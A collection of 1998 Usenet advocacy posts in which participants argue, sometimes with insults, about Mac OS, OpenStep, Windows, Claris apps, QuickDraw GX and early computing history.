> > Apple has a history of this (slow adoption of their cool new technologies
> > in Claris apps). How long was OpenDoc out before Apple even announced that
> > it would be included in ClarisWorks? And I don't think they _ever_
> > announced that FileMaker would support OpenDoc.
>
> Apple also has a history of doing lots of other boneheaded things, from poor
> inventory management to model multiplication. Aren't we supposed to have a
> 'new Apple" that has learnt from its mistakes?
>
> Sorry, but "Apple has a history" doesn't wash as an excuse for not announcing
> plans of either Carbonizing or Yellowboxing Claris apps (ideally the latter).
I wasn't defending it--just pointing out that it has happened before, as
well. I don't know if the "new" Apple has pushed out the old one at
Claris, but I doubt it.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
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Organization: none
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com>
<Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com>
<Ey9Avn.K3A@T-FCN.Net> <6rvatv$kh6$1@lwnws01.ne.highway1.com>
<Ey9r7o.41s@T-FCN.Net> <6s00n0$e40$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
Date: Wed, 26 Aug 1998 15:03:36 GMT
In <6s00n0$e40$1@lwnws01.ne.highway1.com> John Kheit wrote:
> It's likely a PD app made by one dude in a month or so.
RadicalNews? Or mail.app?
> I imagine any
> equivelent app on the mac would be worse or non functional at all.
John, stop right there, go out and use NewsWatcher. Really, your comments
seem almost bizarre. Really, the best newsreader on any platform, for any
OS, at any time, is MT-NewsWatcher.
> That's not really true. It doesn't require you to add that.
No, but this should be completely invisible. At the _most_ it should be a
popup with "sendmail" and "Custom..." items in it.
> with that setting there. It's nice for those people that do want to change
> it to something fancier, that the option exists. Plenty of apps on the mac
> and windows have settings initialized by the app that most people don't
> understand and simply don't touch.
Yes, but few require you to point to files in the bowls of the OS. This
particular example may be bad, but there're all over the place!
> It's nice to have the facility to touch
> the settings if you know what your doing.
Indeed, but that doesn't require a pathname to be entered.
> Regardless, if you're to not drag down the 1% (I think it's more) of people
> that want to change that setting, you'll eventually have to have a text
field
> entry for some of the custom entries, no matter how many popups, etc.
I don't think this is true at all, a browse button using the open dialog
would do just as well, if not better.
> hide it behind. Though I do think it's nice to have the most common
entries
> in a facility you talk of. OTOH, if so few people will touch it, why
bother.
Indeed!
> Yea. It's great. Doing my thesis on it now.
Thesis, word pro... thesis, word pro. Frame is built for long document
creation, like, say, a thesis. It is not meant, not really suitable for,
general WP tasks like a 2 page letter.
> one. The platform is undercut by OSX. You were saying that OPENSTEP (no
> limitations inserted) sucked as a desktop platform.
I meant that the paucity of apps made it a lousy desktop OS, not the OS
itself.
> Not for any appreciable time. In the short contact, I didn't like it. If
> you tell me it's one of the things that takes time to get into before get
an
> appiphany and thus enhanced work flow, I'll take you at your word. But off
> the bat it seemed rather not nearly as elegant.
C'est la vie. I found it slow, and a little messy (the menus primarily)
but the honesty and simplicity shone through.
> I just copied and pasted these lines from the help page into the proper
> Quoting Prefs Panel text fields:
I'm going to try them. A clean interface here would be nice too. I have a
PERL that's semi-functional if anyone's interested, you make it into a
terminal service and off you go.
> That's really weird. I've sent zillions of tar.gz, graphics, etc via MIME
> and never had a problem.
To whom?
> Wordperfect does this and I've always hated it. Maybe with a two button
> mouse a better implementation could be done.
We just need a standard "I am doing a drag, not a move" key. I avoided
doing this in GlyphiX because I'm pretty sure they'll make it something weird
and I'll have to change it.
> I'm sorry. Are we talking about two different things? I mean that
> containing resources in a directory to me seems more flexible than in the
old
> resource fork method on the mac. You might be talking of another kind of
> wrapper.
Yeah, NSFileWrapper. First time I've come across something in OpenStep
that I could have done better.
Maury
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Content-Type: text/plain; charset=us-ascii
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Cc: piers@ilink.de
Organization: none
References: <Ey92zD.G5L@T-FCN.Net> <6rvmqt$ddi$1@viking.mqi.net>
Mime-Version: 1.0
Date: Wed, 26 Aug 1998 15:13:22 GMT
In <6rvmqt$ddi$1@viking.mqi.net> Piers Uso Walter wrote:
> The truth is much sader:
> Taligent was such a horrible mixture of diverging concepts, tied
> together by one of the more braindead event models I've seen.
>
> Back when they presented it to us, all we could do is wonder why they
> chose *NOT* to rip off Openstep. Any kind of Openstep rip off, no
> matter how badly done, would have been lightyears ahead of the ugly
> monster they tried to put to life.
I stand corrected! When I see NSRepsonder renamed TResponder though, the
assumption seemed natural.
Amazing isn't it, CDE seems dead, Cairo is dead, Visual Age is aging.
Unless you consider Java to be an OS, there's still no one "doing" this.
Maury
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII (not)
Date: Wed, 26 Aug 1998 16:57:27 +1000
Organization: University of Queensland
Message-ID: <6s0bh6$3st$1@bunyip.cc.uq.edu.au>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <6rk24n$q52$1@nnrp02.primenet.com> <35E38CF3.41CB9A34@geocities.com>
Con-Tiki <con-tiki@geocities.com> wrote in message
35E38CF3.41CB9A34@geocities.com...
>I've seen a G3 350.
>I tell you, my PII266 kicks the G3 I saw.
>The G3 is faster, but Mac O/s 8 uses to much Ram.
> Windows - 4mb
> Linux - 4mb
> Mac O/s 8 - 11mb
>That is the reason why.
>
>thanks
>bye
The more you post, the dumber you look.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 10:55:08 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E42FDC.EA1CA4BA@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1D93F.6F4892A4@ericsson.com> <6rsm1j$ot6@newsb.netnews.att.com> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> Don't get me wrong -- I agree that the MacOS has ugly internals, and
> can use a whole lot of sprucing up. But -- speaking from experience --
> it hasn't mattered (so far).
That was never my experience. Using floppies on MacOS has always been
painfully slow and buggy, whether FDD or Zip disks were involved. The
I/O problems noted above are the only explanation for this behavior,
apart from the synchronous nature of volume operations. I am at a loss
to explain the parade of people who continually protest "I've never had
that problem, how strange" in the face of incontrovertible first-hand
evidence on my part. I have never had any confidence whatsoever in PC
Exchange's stability or reliability: interminable delays when mounting
disks, corrupted files (perfect when read on a PC), and outright crashes
when mounting DOS diskettes have been the hallmarks of that software.
Have you mounted floppies on a Unix-like system, before? Run an
exhaustive directory listing ('ls -lR /') and then mount a floppy. Tell
me whether you notice any interruptions in the listing job.
When you're used to a machine that can reasonably handle tasks like this
it's nearly impossible to go back. I'm sorry, it's not acceptable, and
in my opinion, it's not usable.
Maury asks whence comes my "hatred" of all things Apple. He's forgiven;
he doesn't understand how grotesque that sounds to someone who spent
years trying to get peers, family, friends, and supervisors to accept
the concept of Macintoshes in corporate environments. I staked my
reputation time and time again on the latest Macintosh, and time and
time again I was ridiculed, laughed at, and sometimes despised when
Macintoshes repeatedly failed and made life miserable.
I don't "hate" all things Apple. What I hate is the concept of people
still out there who still have their heads in the sand, or worse, know
what is up but are still trying to fool others out of some kind of
foolish pride. Pardon me if some of my bitterness shows through, but
nothing makes me more physically ill than these kinds of lies.
MJP
From: leebum@nottowayez.net (Shelton Garner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Wed, 26 Aug 1998 16:11:15 GMT
Organization: Airnews.net! at Internet America
Message-ID: <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net>
References: <macghod-1007981752580001@sdn-ar-001casbarp159.dialsprint.net> <6o6in8$83n$1@supernews.com> <gmgraves-1107980808300001@sf-usr1-11-139.dialup.slip.net> <6o8adb$i746@odie.mcleod.net> <ToOp1.3341$24.19242835@news.itd.umich.edu> <6oimuj$nsq$1@news00.btx.dtag.de> <pxpst2-1607982126410001@pelli.pathology.pitt.edu> <B1D4F704-26A9A@206.165.43.134> <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: librarytest.airnews.net
NNTP-Posting-Time: Wed Aug 26 11:07:20 1998
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On 22 Jul 1998 02:20:23 GMT, Fam.Traeger@t-online.de (Lars Träger)
wrote:
>Joe Ragosta <joe.ragosta@dol.net> wrote:
>
>> In article <B1D4F704-26A9A@206.165.43.134>, "Lawson English"
>> <english@primenet.com> wrote:
>>
>> > Peter <pxpst2@spam.suxs.unixs.cis.pitt.edu> said:
>> >
>> > >In article <6oimuj$nsq$1@news00.btx.dtag.de>, Fam.Traeger@t-online.de
>> > >(=?ISO-8859-1?Q?Lars_Tr=E4ger?=) wrote:
>> > [snipt]
>> > >> Bingo! If you want to write apps for the Mac, would you chose an API
>> > >> that runs on Wintel but not on a large number of Macs still in use, the
>> > >> 68ks?
>> > >
>> > >
>> > >
>> > >In a new york second.
>> >
>> > I think that he meant: "if you already write for the Mac..." implying that
>> > you have an installed base of customers who still use 68K machines.
>>
>> Perhaps. But if you're selling software today, what percentage of your
>> sales are to pepole using 68k machines? I'm sure it's a very small
>> percentage.
>
>It may still be higher than that of "real" G3s. It's high enough that
>most apps, even games still have 68k versions (I'm talking about the
>68k-family btw, incl. 68040).
>
>Depending on the ifs and hows of YB for MacOS, the 68ks may well be the
>smaller part of machines not supported.
Like I've said before--what if Apple went with Linux instead. Then it
could produce software that would run on both Mac and PC hardware
systems as well as grow as Linux grew.
lee
L. Shelton Bumgarner -- Keeper of the Great Renaming FAQ
Nattering Nabob of Narcissism * http://www.nottowayez.net/~leebum/
ICQ#: 9393354 * "Given two unrelated technical terms, an Internet
search engine will retrieve only resumes." -- Schachter's Hypothesis
From: Ray Arachelian <sunder@brainlink.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 26 Aug 1998 12:02:57 -0400
Organization: SunderNET
Message-ID: <35E431B1.C9E36442@brainlink.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <macghod-1608980221580001@sdn-ar-001casbarp256.dialsprint.net> <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net>
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To: "Anna J. Gershwin" <ajg@yuno.com>
Anna J. Gershwin wrote:
> Unlike Copland...Rhapsody...OSX... :-(
Yep.
> Comes from announcing products 2 years in advance of when they are going to
> ship and expecting absolutely no problems in producing them.
>
> At least the Mac is a superior product, even when it came out the Mac had
> better graphics than the IBM (CGA adapters were limited to only 640x480
> in monochrome mode, the Mac was better).
Erm, no. IBM CGA was 320x200x4 colors or 640x200x2 colors (black and white.)
> Better software, and hardware. Didn't
> Apple invent SCSI, ethernet and the GUI?
Erm No. Adaptec invented SCSI. Ethernet and the GUI were both invented at
Xerox. (i.e. Xerox Altos and Xerox Star.) Actually if you want to be totally
correct, you could say the GUI was invented earlier, but the Star and the Altos
where the 1st machines to use'em.
Apple had two tours of the Xerox Parc project. From these they built the Lisa,
and later scrapped it for the Mac. (Steve Jobs killing things left and right
again, just like the recent Newt killing.)
The current Ethernet standard was then later built by Xerox, Intel, and
Digital.
(If I recall correctly, the original Ethernet the Altos, or was it the Star,
used was 1Mb or some such. The later standard became industry wide.)
BTW: 3Com was Building 3 Communicaions as Xerox and was later spun off as its
own company. Most of the technology of the Mac comes from Xerox Parc. Hell,
where do you think the Laser printer came from! :)
> Now they have invented FireWire, the
> successor to SCSI and include that along with 100MB Ethernet on all the new
> Macs. It is too bad they have to play the game and announce products before
> they exist to compete in the marketplace but at least Apple's products are
> worth waiting for and are always superior to anything on the market, years
> ahead of anyone else - so when they finally ship, they are still ahead of
> everyone else.
Yep, I agree with that.
--
=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.| Ray Arachelian |Prying open my 3rd eye. So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run |\/|\/
../|\..| "A toast to Odin, |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were.... |.....
======================= http://www.sundernet.com ==========================
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 09:58:59 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2608980958590001@sf-usr1-19-147.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <gmgraves-2508981049050001@sf-usr1-60-188.dialup.slip.net> <6rvag9$51t$1@nnrp1.dejanews.com>
In article <6rvag9$51t$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-2508981049050001@sf-usr1-60-188.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
>
> > Word is available for OpenStep? Excel? CorelDraw? Illustrator? Filemaker?
> > PowerPoint? If not, then a comparison can't be done. MacOS vs Win CAN be
> > done because of the number of productivity apps that are the same for both
> > systems. It gives one a basis for comparison. Not the same thing as
comparing
> > Excel to some semi-custom spreadsheet on OpenStep.
>
> You don't necessarily need particular applications to be productive. But you
> do realise, of course, that you are refuting your own claim. If testing
> cannot be done then, of course, testing was not done and your original claim
> is false.
My original claim was that there were probably no studies comparing the now
obsolete OpenStep with Mac/Windows. If you want comparisons with obsolete
systems how about insisting on a comparisomn of productivity with Amiga or
Osbourne. I know a fella who runs a machine shop. He still uses an Osbourne
because it has a database on it he needs and he has never thought about having
it converted over to Windows. Does that mean that because several people in
the world might still be using an Osbourne computer, that we should include it
in every productivity study?
>
> > You want it restated? OK I'll restate it. "Of the two useful operating
> > systems available to business today (Win95/98/NT and MacOS), MacOS has been
> > found, time and time again, to be the more productive for the average
> > computer user. The Mac ROI is higher, and the cost of ownership over the
> > life of the computer is appreciably lower."
>
> You would have been better to avoid the "Of the two useful operating systems
> available to business today..." part because it is totally dependant on your
> buisness. Macs are pretty useless for SV and RAD. OpenStep and Windows are
> better for both.
Oh, dry up. If you put enough conditions on any statement, you can make it
unsupportable. You are grasping and straws and being incredibly silly. In
fact, you're beginning to sound like David Field. I'm for ending this particular
discussion. I've made a more than reasonable effort to be fair about this.
George Graves
>
> --
> Brian Quinlan
> quinlan@intergate.bc.ca
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 10:12:19 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2608981012190001@sf-usr1-19-147.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1D93F.6F4892A4@ericsson.com> <6rsm1j$ot6@newsb.netnews.att.com> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com>
In article <35E42FDC.EA1CA4BA@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> > Don't get me wrong -- I agree that the MacOS has ugly internals, and
> > can use a whole lot of sprucing up. But -- speaking from experience --
> > it hasn't mattered (so far).
>
> That was never my experience. Using floppies on MacOS has always been
> painfully slow and buggy, whether FDD or Zip disks were involved.
That's bullshit. Mac's are no slower at mounting or unmounting
removeables than any Windows machine is. As far as being buggy,
you are out of your mind. I've owned a half dozen Macs of every
vintage, and I've used hundreds more. I've NEVER seen good media
fail to mount, be fully accessable or cause the system to crash or
hang. If you have, then I suggest you were using a broken computer.
The
> I/O problems noted above are the only explanation for this behavior,
> apart from the synchronous nature of volume operations. I am at a loss
> to explain the parade of people who continually protest "I've never had
> that problem, how strange" in the face of incontrovertible first-hand
> evidence on my part. I have never had any confidence whatsoever in PC
> Exchange's stability or reliability: interminable delays when mounting
> disks, corrupted files (perfect when read on a PC), and outright crashes
> when mounting DOS diskettes have been the hallmarks of that software.
Again, this is pure nonesense. If you have experienced these problems
its because your computer is/was broken. This is NOT normal behavior
for Macs. I use PC Exchange EVERY day, and I have never had any occasion
when it failed to work exactly as advertised. If I ran across a volume
which failed to mount under PC Exchange, it wouldn't mount on a real
PC either. So stop peddling your personal, anecdotal evidence as fact!
>
> Have you mounted floppies on a Unix-like system, before? Run an
> exhaustive directory listing ('ls -lR /') and then mount a floppy. Tell
> me whether you notice any interruptions in the listing job.
So what?
>
> When you're used to a machine that can reasonably handle tasks like this
> it's nearly impossible to go back. I'm sorry, it's not acceptable, and
> in my opinion, it's not usable.
Go back to what?
>
> Maury asks whence comes my "hatred" of all things Apple. He's forgiven;
> he doesn't understand how grotesque that sounds to someone who spent
> years trying to get peers, family, friends, and supervisors to accept
> the concept of Macintoshes in corporate environments. I staked my
> reputation time and time again on the latest Macintosh, and time and
> time again I was ridiculed, laughed at, and sometimes despised when
> Macintoshes repeatedly failed and made life miserable.
You are in the minority. For an overwhelming number of people, Macs
just work, and work better than PCs. That's fact. Your miserable
little existence notwithstanding.
>
> I don't "hate" all things Apple. What I hate is the concept of people
> still out there who still have their heads in the sand, or worse, know
> what is up but are still trying to fool others out of some kind of
> foolish pride. Pardon me if some of my bitterness shows through, but
> nothing makes me more physically ill than these kinds of lies.
Then go peddle your crap elsewhere. Nothing makes me more physically
ill than somebody with an axe to grind, usually due to their own
stupidity and lack of knowledge.
George Graves
>
> MJP
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 10:14:46 -0700
Organization: Graves Associates
Message-ID: <gmgraves-2608981014470001@sf-usr1-19-147.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <6rtte4$bga$1@nnrp1.dejanews.com> <Ey92Lx.FxG@T-FCN.Net> <6rukm3$533$1@lwnws01.ne.highway1.com> <Ey9Avn.K3A@T-FCN.Net>
In article <Ey9Avn.K3A@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <6rukm3$533$1@lwnws01.ne.highway1.com> John Kheit wrote:
> > Most software on most platforms, if not all, is crap.
>
> Ok let me restate it, most applications on OpenStep have lousy interfaces,
> tend not to follow rules, and have very little functionality. On other
> platforms this is simply not true. While they may be crap in one way or
> another, they are at least useful and typically powerful.
>
> > win/mac is crap. There are more crap developers using crappier tools on
> > win/mac to produce even more crap software. How much crap software exists
> on
> > a platform doesn't neccessitate that there isn't good software.
>
> Then let me rephrase it that way too. While there is a lot of powerful
> software under Mac and Win, there is very little under OpenStep. There's not
> even a good ClarisWorks, this newsreader is "functional" (and it's the best
> of them), mail readers are terribly lacking in functionality, etc.. There
> are a few bright spots, but for the most part the productivity apps on
> OpenStep are lacking to say the least.
>
> > because after seeing it's crap, it's dismissed. Furthermore, I believe the
> > OPENSTEP dev environment makes it more difficult to produce software as
> > crappy as on other dev environments.
>
> Ahhh, but it also makes it _easier_ too. Many of the hair-pulling features
> I find in OpenStep applications exist apparently because the author was never
> exposed to anything outside the Unix world. Most OS apps have a very "unixy"
> flavour. This is why I hope my lack of a Unix background will be a good
> thing, and if my experience with GlyphiX is any sign, it's working out well.
>
> > That's pretty good general desktop coverage
>
> When people think of desktop coverage they think of word processing,
> spreadsheet, business graphics and simple database - and these days . Of
> these the only one OpenStep currently supplies in any really superby useable
> form is spreadsheets and business graphics. There is no reasonably midrange
> WP (FrameMaker doesn't count, WPerfect is dead, WriteUp is fairly "lite").
> There's nothing at all like FileMaker that I've seen. OmniWeb is pretty
> excellent though.
>
> Mail app is horrid. The interface is terrible (try opening two messages in
> the same folder at the same time), the quoter basically doesn't work right
> (no wrapping that really works), the MIME is unreadable for any other mailer,
> there's no filtering, the address book is horrid etc. RadicalNews is
> functional, but even minor things make it break (like long references lines)
> it breaks threads for no apparent reason, and it follows the mail app
> interface.
>
> Basically it seems all apps on OpenStep fall into two rough groups. One
> are the apps from Lighthouse (and their clones). Then there's everything
> else. The everything else catagory seems to be populated largly by crud.
>
> > of time and developers that were in the market. And what makes the
> > environment more useful than going to say win/mac is the interaction
> > and interoperation in the OPENSTEP environment; the interaction
> > leverages the functionality of all the apps.
>
> This would be overwhelming if there was a good app in every catagory. But
> there isn't. Moreover the universality of this functionality has been muted
> by poor integration - for instance I can't drag a text file into this window.
>
> If I had all the time in the world I'd be addressing these issues one by
> one, but as it is I'm on lunch now and I've been trying to get a good fix for
> a single bug for two days. Grrrrr, fileWrappers BITE!!
>
> Maury
Go get 'em Maury!
George Graves
From: blenko-tom@cs.yale.edu (Tom Blenko)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 26 Aug 1998 14:26:19 -0400
Organization: Yale University Computer Science Dept., New Haven, CT 06520-2158
Distribution: world
Message-ID: <6s1k0bINNbb3@RA.DEPT.CS.YALE.EDU>
References: <35E431B1.C9E36442@brainlink.com> <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net>
Ray Arachelian <sunder@brainlink.com> wrote:
|Erm No. Adaptec invented SCSI. Ethernet and the GUI were both
|invented at Xerox. (i.e. Xerox Altos and Xerox Star.) Actually if you
|want to be totally correct, you could say the GUI was invented earlier,
|but the Star and the Altos where the 1st machines to use'em.
I believe the Alto was the first, followed by the Dolphin and Dorado.
These were all machines for research purposes. The Star was a
commercial product which came along a couple of years later (1984,
maybe).
Tom
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 26 Aug 98 11:30:31 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B209A282-5D499@206.165.43.52>
References: <6s12qi$rk8$1@nnrp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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To: "John Jensen" <jjens@primenet.com>
nntp://news.primenet.com/comp.sys.next.advocacy
OK, I've looked it over. I can see why you're calling it OOP (it is), but
it certainly (as Michael has indicated) is no GX, although (as he's also
indicated), it does other things that GX never addressed.
My biggest concern right now is that the next-generation of MacOS graphics
is being created in a virtual vacuum. Many/most Mac developers never
understood GX and it is obvious that many important aspects of it are being
lost (e.g., non-affine 2D transform, which provides editable perspectivized
text) that end-users would definitely want if they were aware that the
capabilities existed. Skipping the 3x3 perspective and going to the 4x3
directly in a higher-end library as Mike Paquette has hinted, ignores the
fact that most of the time, most people don't need to worry about
z-ordering and so on, but only want a simple Star Wars-narrative-like
special effect to be added to a bit of transparent text, which they might
later want to edit in-place.
GX does that as part of the built-in API.
Java2D, enhanced QuickDraw, YB graphics, PDF, etc., don't. Going to a
high-end, 3D package just to add a simple perspective to text is overkill,
especially when that's all most people every want out of 3D.
There's also no retained mode in any of the above. No shared objects (that
I could see) that allow one to manipulate groups of drawn objects
automatically with the API as though they were part of a high-end vector
package.
The designers of GX implemented the basic elements of a full-featured
vector-drawing package sans the human interface. None of the above do. In
order to implement a near-Illustrator-level app using GX, one need only
implement a GUI for object creation and manipulation and you're done. The
API handles the rest, and allows one to save an image for printing and
later edit it using the full GX API. (THAT is why GX is going away with
nothing viable to replace it: steps on too many toes amongst the Powers
that Be in the software industry (can we say "Adobe?")).
As you'll shortly be able to see, GX does things that none of the rest do
without lots of trouble. Evaluate the API of GX within the GXFCN demo stack
and compare the built-in capabilities to what is available in the Java2D
and enhanced QD and YB APIs. Each has its strengths and weaknesses, but GX
is the most full-featured available.
For instance, Java2D doesn't recognize the hit-testing that GX does (nor do
any of the others, I'm pretty sure):
GX allows one to set a flag so that all shape-objects sharing the same
transform object can respond to hit-testing for any and all of the
following:
bounds, gemoetry, pen, cornerpoint, controlpoint, edge, join, startcap,
endcap, dash & pattern.
HIttesting via GX can determine if a point is within a given radius of
any/all of the above and return with those that are hit and the distance to
the nearest part of a shape, evaluated in the above order. It is no
coincidence that the first app that implemented free-form editing of vector
shapes without reference to existing control points was based on GX:
LightningDraw GX. it's now an advertized feature in Illustrator and
FreeHand, I believe.
It is trivial to implement this because you can hit-test only on or near
the pen (drawn area) of a given shape and start modifying the geometry of
the shape by editing/adding new control points. If the shape were filled,
you could make it into a picture shape with an invisible framed copy of the
shape directly on top and edit/hit-test the geometry of said shape.
Whenever you updated the geometry of the framed shape, you'd have to update
the geometry of the visible shape, however.
[this is where experience in GX comes in handy when trying to create a
next-gen graphics library: just as style, transform and ink objects can
override the defaults in a shape when it is used multiple times in a
picture shape, there should be a way of overriding the fill attribute of
the shape so that multiple instances of the shape's geometry can be dealt
with using different "fills" in order to simplifiy this kind of process -it
would be useful in implementing all sorts of fun things like shapes with
nested frames, each with its own color, style and transparency]
John Jensen <jjens@primenet.com> said:
>Lawson English <english@primenet.com> wrote:
>: John Jensen <jjens@primenet.com> said:
>
>: >In my perusal of Java2D I see lots of objects, perhaps they are not
>: >oriented as you would like?
>
>: I haven't been able to access anything directly. I was merely going by
what
>: Michael Peirce had said, and I may have misread what he said about
>: similarities (or non) between GX and Java2D. OTOH, perhaps GX is more
>: object-oriented than you realize and so the existence of objects makes
>you
>: assume that it is as OO as GX?
>
>: If you can furnish me with a URL to the API/library description of
Java2D,
>: I can respond based on first-hand info.
>
>Sure, the URL you had yesterday was almost right (apparently they've
>changed the domain name):
>
> http://www.javasoft.com/products/java-media/2D/index.html
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 26 Aug 1998 13:29:27 -0500
Organization: Ericsson North America Inc.
Message-ID: <35E45407.D5B0D1B4@ericsson.com>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1D93F.6F4892A4@ericsson.com> <6rsm1j$ot6@newsb.netnews.att.com> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <gmgraves-2608981012190001@sf-usr1-19-147.dialup.slip.net>
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George Graves wrote:
> I've NEVER seen good media
> fail to mount, be fully accessable or cause the system to crash or
> hang. If you have, then I suggest you were using a broken computer.
Yadda yadda yadda. And you haven't had a crash in the past month and you
don't get extension conflicts. Yeah, I've heard all of this before.
> If I ran across a volume
> which failed to mount under PC Exchange, it wouldn't mount on a real
> PC either. So stop peddling your personal, anecdotal evidence as fact!
This is extreme bullshit. The Readme that came on the hard-disk of a
1996 PowerMacintosh 8500/120 straight from Apple said that the PC
Exchange software on the machine was broken and that we should wait for
an update from Apple. This is the Readme we found several weeks after
experiencing the most crashes I have ever seen in such a short period of
time. We actually bought an extra PC to use as a floppy receiver, so
that we could transfer files over the network to the Macintosh. The
software has since improved but has never done a satisfactory job of
mounting DOS or Win95 diskettes for myself or for any of my
acquaintances.
> > Have you mounted floppies on a Unix-like system, before? Run an
> > exhaustive directory listing ('ls -lR /') and then mount a floppy. Tell
> > me whether you notice any interruptions in the listing job.
>
> So what?
Spoken like a true believer.
> Go back to what?
Your "productive" computing heaven, of course.
> You are in the minority.
Say what?
> For an overwhelming number of people, Macs
> just work, and work better than PCs.
You're joking.
> That's fact. Your miserable
> little existence notwithstanding.
I feel so vindicated. I mean, I've managed to get personal insults from
you and Maury Markowitz over this already. I get really juvenile stuff
from Salvatore Denaro repeatedly, and of course Chuck Swiger has shown
his hand similarly. What better evidence that this is such a personal
matter to you than that you cannot separate my "miserable little
existence" from my comments? Over and over, the same refrains:
Why do you hate Apple?
If you hate Apple so much, why do you even care?
You're a moron.
